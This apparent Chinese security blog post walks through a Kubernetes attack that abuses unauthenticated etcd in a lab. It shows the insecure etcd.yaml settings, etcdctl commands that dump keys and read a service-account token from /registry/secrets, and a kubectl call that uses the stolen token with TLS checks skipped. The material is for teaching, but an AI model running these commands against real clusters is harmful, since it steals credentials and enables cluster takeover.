K8s攻击案例:etcd 未授权访问
etcd 用于存储K8s集群中的所有配置数据和状态信息,如果管理员配置不当,导致etcd未授权访问的情况,那么攻击者就可以从etcd中获取secrets&token等关键信息,进而通过kubectl创建恶意pod从而接管集群。
(1)攻击场景
将client-cert-auth=true 改为false,把listen-client-urls监听修改为0.0.0.0,将端口被暴露出去,导致etcd存在未授权访问漏洞。
vi /etc/kubernetes/manifests/etcd.yaml
- --client-cert-auth=false
- --listen-client-urls=http://0.0.0.0:2379
(2)攻击过程
下载etcdctl直接用命令行即可访问etcd
https://github.com/etcd-io/etcd/releases/download/v3.4.9/etcd-v3.4.9-linux-amd64.tar.gz
tar -xf etcd-v3.4.9-linux-amd64.tar.gz
cd etcd-v3.4.9-linux-amd64
#读取etcd中存储的数据,通过--limit选项限制数量
export ETCDCTL_API=3
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --limit=2
#获取k8s的secrets和token
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --keys-only |grep secrets
./etcdctl --endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj
成功获取高权限服务账号token
通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“[.token.]” -n kube-system get pods
本文由Bypass整理发布,转载请保留出处。
欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫
2019-01-02 迟来的2018年终总结